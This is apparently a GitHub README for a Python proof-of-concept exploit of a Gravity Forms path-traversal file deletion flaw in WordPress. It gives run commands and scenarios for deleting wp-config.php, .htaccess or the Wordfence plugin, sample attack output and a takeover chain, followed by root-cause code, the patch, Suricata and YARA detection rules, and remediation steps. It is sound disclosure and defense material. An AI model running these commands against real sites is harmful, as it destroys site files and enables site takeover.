0xABCD01/CVE-2026-48866

GitHub: 0xABCD01/CVE-2026-48866

针对 WordPress Gravity Forms 插件路径遍历导致任意文件删除漏洞(CVE-2026-48866)的 Python PoC 利用工具。

Stars: 1 | Forks: 0

CVE-2026-48866 CVSS 9.6 CWE-22 Affected Fixed

Type Access Trigger Platform Python License

``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘ ```

gform_uploaded_files 接受 URL 中的 ../。管理员的删除点击会触发任意文件删除。

NVDPatchstack修复提交源码镜像

## 目录
**利用** - [快速开始](#quick-start) - [工作原理](#how-it-works) - [影响](#impact) - [用法](#usage) **防御** - [技术深入分析](#technical-deep-dive) - [检测](#detection) - [修复方案](#remediation) - [参考资料](#references)
## 快速开始 ``` ┌─────────────────────────────────────────────────────────────────────┐ │ REQUIREMENTS │ │ ─────────────────────────────────────────────────────────────── │ │ Target WordPress + Gravity Forms ≤ 2.10.0.1 │ │ Form Public form with a file upload field │ │ Python 3.8+ with requests │ │ Auth None (injection) / Admin creds (trigger) │ └─────────────────────────────────────────────────────────────────────┘ ``` ``` git clone https://github.com/0xABCD01/CVE-2026-48866.git cd CVE-2026-48866 pip install requests # 仅注入(未认证 — 当 admin 清理条目时文件失效) python3 poc.py -t https://test.com -f 1 -i 3 # 完整 kill chain(提供 admin 凭证 — 立即删除) python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd' ``` ## 工作原理 ### 攻击流程 ``` ┌───────────────────────────────────────────────────────────────────────┐ │ PHASE 1 — INJECTION │ │ (Unauthenticated — any visitor) │ ├───────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────┐ POST gform_uploaded_files ┌──────────────────┐ │ │ │ Attacker │ ──────────────────────────────── │ WordPress AJAX │ │ │ └─────────┘ {"input_3": [{"url": │ admin-ajax.php │ │ │ ".../../../../wp-config.php"}] └────────┬─────────┘ │ │ │ │ │ esc_url_raw() → OK (doesn't strip ../) │ │ │ is_valid_url() → OK (../ is valid URL) │ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ wp_postmeta │ │ │ │ (entry stored │ │ │ │ WITH ../) │ │ │ └────────┬─────────┘ │ └──────────────────────────────────────────────────────────┼────────────┘ │ ┌─────────────────────────────┘ │ (hours, days, or weeks pass...) ▼ ┌───────────────────────────────────────────────────────────────────────┐ │ PHASE 2 — DELETION │ │ (Admin deletes entry — routine cleanup) │ ├───────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────┐ delete_entry(42) ┌──────────────────┐ │ │ │ Admin │ ──────────────────────────────── │ Gravity Forms │ │ │ └─────────┘ └────────┬─────────┘ │ │ │ │ │ get_physical_file_path() │ │ │ str_replace(url_base → path_base) │ │ │ ../ SURVIVES in the path │ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ unlink() │ │ │ │ │ │ │ │ /var/www/html/ │ │ │ │ wp-config.php │ │ │ │ → DELETED │ │ │ └──────────────────┘ │ └───────────────────────────────────────────────────────────────────────┘ ``` ### 根本原因 (3 行 PHP 代码) ``` // forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php ``` 在 `str_replace()` 和 `unlink()` 之间没有任何检查。漏洞就存在于这个间隙中。 ## 影响
目标 效果 严重程度
wp-config.php 网站下线。WordPress 显示安装向导。攻击者将数据库指向他们自己的服务器以实现完全接管网站 严重
.htaccess URL 重写和安全规则失效。目录列表暴露。
wp-content/plugins/wordfence/wordfence.php Wordfence WAF 停止运行。攻击者与网站之间失去防火墙保护。
wp-includes/plugin.php 没有插件加载。网站停止运行。 严重
wp-login.php 管理员被锁定。在恢复文件之前,任何人都无法登录。
### 删除 → RCE 提升链 ``` ┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐ │ Delete │ │ WordPress shows │ │ Attacker sets │ │ wp-config.php│ ──── │ installer wizard │ ──── │ own DB creds │ └─────────────┘ └──────────────────┘ └────────┬────────┘ │ ▼ ┌─────────────────┐ │ Full admin │ │ access to site │ │ (RCE via themes │ │ /plugin editor)│ └─────────────────┘ ``` **RCE 链要求:** - 攻击者控制的可达 MySQL 服务器 - WordPress 安装程序可访问(未被主机/WAF 阻止) - 结果:攻击者会在同一域名上获得一个全新的 WordPress 安装,而不是获取现有站点数据的访问权限 ## 用法 ### 命令参考 ``` ┌──────────────────────────────────────────────────────────────────────────┐ │ USAGE │ │ ───────────────────────────────────────────────────────────────────── │ │ python3 poc.py [OPTIONS] │ │ │ │ REQUIRED │ │ -t, --target TARGET Target WordPress URL │ │ -f, --form-id ID Gravity Forms form ID │ │ -i, --field-id ID File upload field ID │ │ │ │ OPTIONAL │ │ --file FILE Relative path to delete (default: │ │ wp-config.php) │ │ --depth N ../ count (default: 3) │ │ --trigger Auto-delete via admin login │ │ --admin-user USER Admin username (default: admin) │ │ --admin-pass PASS Admin password (default: admin) │ │ --proxy URL HTTP proxy for intercepting │ │ --verify-only Check target only, don't exploit │ └──────────────────────────────────────────────────────────────────────────┘ ``` ### 示例场景
场景 1:静默注入(无需管理员凭据) ``` python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 ``` 1. PoC 获取表单页面,提取 AJAX nonce 2. 提交 `gform_uploaded_files`,其 URL 中嵌入了 `../../../wp-config.php` 3. 数据库存储带有恶意 URL 的条目 4. 当管理员删除该条目时(日常清理或批量删除),`wp-config.php` 就会被删除 **触发时间:** 未知。取决于管理员的行为。可能是几小时或几周。
场景 2:完整攻击链(提供管理员凭据) ``` python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` 1. 阶段 1:注入恶意条目(与场景 1 相同) 2. 阶段 2:以管理员身份登录 WordPress,找到被植入的条目并将其删除 3. `wp-config.php` 被删除 4. PoC 检查网站是否已宕机 **触发时间:** 几秒钟。
场景 3:目标为 .htaccess(所需深度较低) ``` python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file .htaccess \ --depth 2 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ``` **深度说明:** ``` depth 3 (default): gravity_forms/ → uploads/ → wp-content/ → WP root depth 2: gravity_forms/ → uploads/ → wp-content/ (.htaccess lives here) depth 1: gravity_forms/ → uploads/ (files in uploads dir) ```
场景 4:禁用 Wordfence 防火墙 ``` python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --file wp-content/plugins/wordfence/wordfence.php \ --depth 1 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' ```
场景 5:通过 Burp Suite 路由 ``` python3 poc.py \ --target https://test.com \ --form-id 1 \ --field-id 3 \ --trigger \ --admin-user admin \ --admin-pass 'P@ssw0rd!' \ --proxy http://127.0.0.1:8080 ```
### 示例输出 ``` CVE-2026-48866 - Gravity Forms Arbitrary File Deletion ====================================================== Target: https://test.com Form ID: 1 Field ID: 3 File: wp-config.php Depth: 3 Trigger: True [*] === Phase 1: Injecting path traversal payload === [*] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [*] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [*] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry. [*] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [*] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted. [*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted! ``` ## 技术深入分析 ### 调用栈:注入路径 ``` wp_ajax_nopriv_gform_submit_form ← WordPress AJAX, NO AUTH └─ GF_Ajax_Handler::submit_form() └─ GFAPI::submit_form() └─ GFFormDisplay::process_form() ├─ GFFormsModel::set_uploaded_files() [forms_model.php] │ └─ esc_url_raw( $file['url'] ) ← does NOT strip ../ └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php] └─ get_multifile_value() ├─ GFCommon::is_valid_url($url) ← format-only, ../ passes └─ $uploaded_files[] = $file['url'] ← STORED WITH ../ ``` ### 调用栈:删除路径 ``` GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED ``` ### 漏洞版本与修复版本对比
漏洞版本 (≤ 2.10.0.1) 修复版本 (2.10.1)
``` // delete_physical_file() — NO validation $file_path = self::get_physical_file_path( $url, $entry_id ); $file_path = apply_filters( 'gform_file_path_pre_delete_file', $file_path, $url ); // ← No check here if ( file_exists( $file_path ) ) { $result = unlink( $file_path ); } ``` ``` // delete_physical_file() — WITH validation $file_path = self::get_physical_file_path( $url, $entry_id ); $file_path = apply_filters( 'gform_file_path_pre_delete_file', $file_path, $url ); // NEW: verify path is in uploads if ( ! GFCommon::is_file_in_uploads($url) ) { GFCommon::log_debug(__METHOD__ . sprintf(': Not deleting: %s', $file_path)); return; } if ( file_exists( $file_path ) ) { $result = unlink( $file_path ); } ```
### 补丁函数 (v2.10.1) **`GFCommon::get_absolute_path()`** 通过遍历路径片段来解析 `.` 和 `..`: ``` public static function get_absolute_path( $path ) { $path = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path ); $path = str_replace( '://', '|%%protocol%%|', $path ); $parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' ); $absolutes = array(); foreach ( $parts as $part ) { if ( '.' == $part ) { continue; } if ( '..' == $part ) { array_pop( $absolutes ); } else { $absolutes[] = $part; } } $path = implode( DIRECTORY_SEPARATOR, $absolutes ); return str_replace( '|%%protocol%%|', '://', $path ); } ``` **`GFCommon::is_file_in_uploads()`** 将解析后的路径与 uploads 根目录进行比较: ``` public static function is_file_in_uploads( $file ) { $file_path = self::get_absolute_path( $file ); $root_url = rgar( GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url' ); if ( ! str_starts_with( $file_path, $root_url ) ) { return false; } return true; } ``` ### 提交参考 | 版本 | 提交 | 描述 | |---|---|---| | v2.10.0 | [`86bf7b9`](https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed) | 存在漏洞。`delete_physical_file()` 中没有路径验证 | | v2.10.1 | [`cf2ff65`](https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422) | 已修复。在 `unlink()` 之前添加了 `is_file_in_uploads()` 保护 | ## 检测 ### 网络:Suricata 规则 ``` # Rule 1:检测 gform_uploaded_files 中的 ../ 遍历 alert http $EXTERNAL_NET any -> $HOME_NET any ( \ msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \ flow:established,to_server; \ http.method; content:"POST"; \ http.request_body; content:"gform_uploaded_files"; \ content:"../"; distance:0; \ reference:cve,2026-48866; \ classtype:web-application-attack; \ sid:2026048866; rev:1;) # Rule 2:URL 编码变体(%2e%2e) alert http $EXTERNAL_NET any -> $HOME_NET any ( \ msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \ flow:established,to_server; \ http.method; content:"POST"; \ http.request_body; content:"gform_uploaded_files"; \ content:"%2e%2e"; nocase; distance:0; \ reference:cve,2026-48866; \ classtype:web-application-attack; \ sid:2026048867; rev:1;) # Rule 3:附近带有遍历的 "url" 键 alert http $EXTERNAL_NET any -> $HOME_NET any ( \ msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \ flow:established,to_server; \ http.method; content:"POST"; \ http.request_body; content:"gform_uploaded_files"; \ content:"|22|url|22|"; distance:0; \ content:".."; distance:0; within:200; \ reference:cve,2026-48866; \ classtype:web-application-attack; \ sid:2026048868; rev:1;) ``` ### 主机:YARA 规则 ``` rule CVE_2026_48866_Exploit_Payload { meta: description = "Detects CVE-2026-48866 payload in HTTP POST data or logs" cve = "CVE-2026-48866" severity = "critical" author = "security-research" strings: $gform_param = "gform_uploaded_files" $traversal1 = "../" $traversal2 = "..\\" $traversal3 = "%2e%2e%2f" nocase $traversal4 = "..%2f" nocase $url_key = "\"url\"" condition: $gform_param and $url_key and any of ($traversal*) } rule CVE_2026_48866_Vulnerable_Plugin { meta: description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix" cve = "CVE-2026-48866" severity = "high" strings: $plugin_id = "gravityforms" $vuln_func = "delete_physical_file" $fix_func = "is_file_in_uploads" condition: $plugin_id and $vuln_func and not $fix_func } rule CVE_2026_48866_Patched_Plugin { meta: description = "Confirms Gravity Forms has the is_file_in_uploads patch" cve = "CVE-2026-48866" severity = "informational" strings: $plugin_id = "gravityforms" $fix_func = "is_file_in_uploads" $fix_helper = "get_absolute_path" condition: $plugin_id and $fix_func and $fix_helper } ``` ``` # 扫描您的 Gravity Forms 安装 yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/ ``` | 规则 | 你发现了 | |---|---| | `CVE_2026_48866_Exploit_Payload` | HTTP 日志或 POST 主体中的漏洞利用载荷 | | `CVE_2026_48866_Vulnerable_Plugin` | 未安装修复补丁的 Gravity Forms | | `CVE_2026_48866_Patched_Plugin` | 已安装修复补丁的 Gravity Forms | ### 日志分析 ``` # Apache / Nginx access logs — 查找 exploitation 尝试 grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log # Gravity Forms debug log — 检查被阻止的删除 grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log # 验证您的安装是否已包含修复 grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/ # → 结果位于 common.php = 已修补 # → 无结果 = VULNERABLE ``` ## 修复方案 ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ REMEDIATION CHECKLIST │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │ │ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │ │ [ ] 3. AUDIT access logs for past exploitation attempts │ │ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │ │ [ ] 5. CHECK file integrity (were any core files already deleted?) │ │ [ ] 6. MONITOR for new entries with suspicious file URLs │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` | 优先级 | 操作 | 命令 | |---|---|---| | P0 | 更新 Gravity Forms | WordPress 管理后台 → 插件 → 更新 | | P1 | 验证补丁 | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` | | P2 | 审计日志 | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` | | P3 | 部署 WAF 规则 | 参见上文的[检测](#detection)章节 | ## 免责声明 ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ LEGAL NOTICE │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL │ │ PURPOSES ONLY. Unauthorized access to computer systems is illegal │ │ under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse │ │ Directive, and equivalent laws worldwide. │ │ │ │ • Always obtain WRITTEN PERMISSION before testing systems you own. │ │ • You are responsible for complying with all applicable laws. │ │ • The authors assume NO LIABILITY for misuse of this software. │ │ │ │ If you find this vulnerability in production: REPORT IT. │ │ Patchstack: https://patchstack.com/database/ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ## 参考资料 | 来源 | 链接 | 状态 | |---|---|---| | NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-48866 | 已验证 | | Patchstack 公告 | https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability | 已验证 | | Gravity Forms 更新日志 | https://docs.gravityforms.com/gravityforms-change-log/ | 已验证 | | 源码 (镜像) | https://github.com/codewurker/gravityforms | 已验证 | | 漏洞提交 (v2.10.0) | https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed | 已验证 | | 修复提交 (v2.10.1) | https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422 | 已验证 | | CWE-22 | https://cwe.mitre.org/data/definitions/22.html | 已验证 | | MITRE CVE | https://www.cve.org/CVERecord?id=CVE-2026-48866 | 尚未填充 |

Authorized pentesting Stars

标签:Python, Web报告查看器, WordPress, 无后门, 路径遍历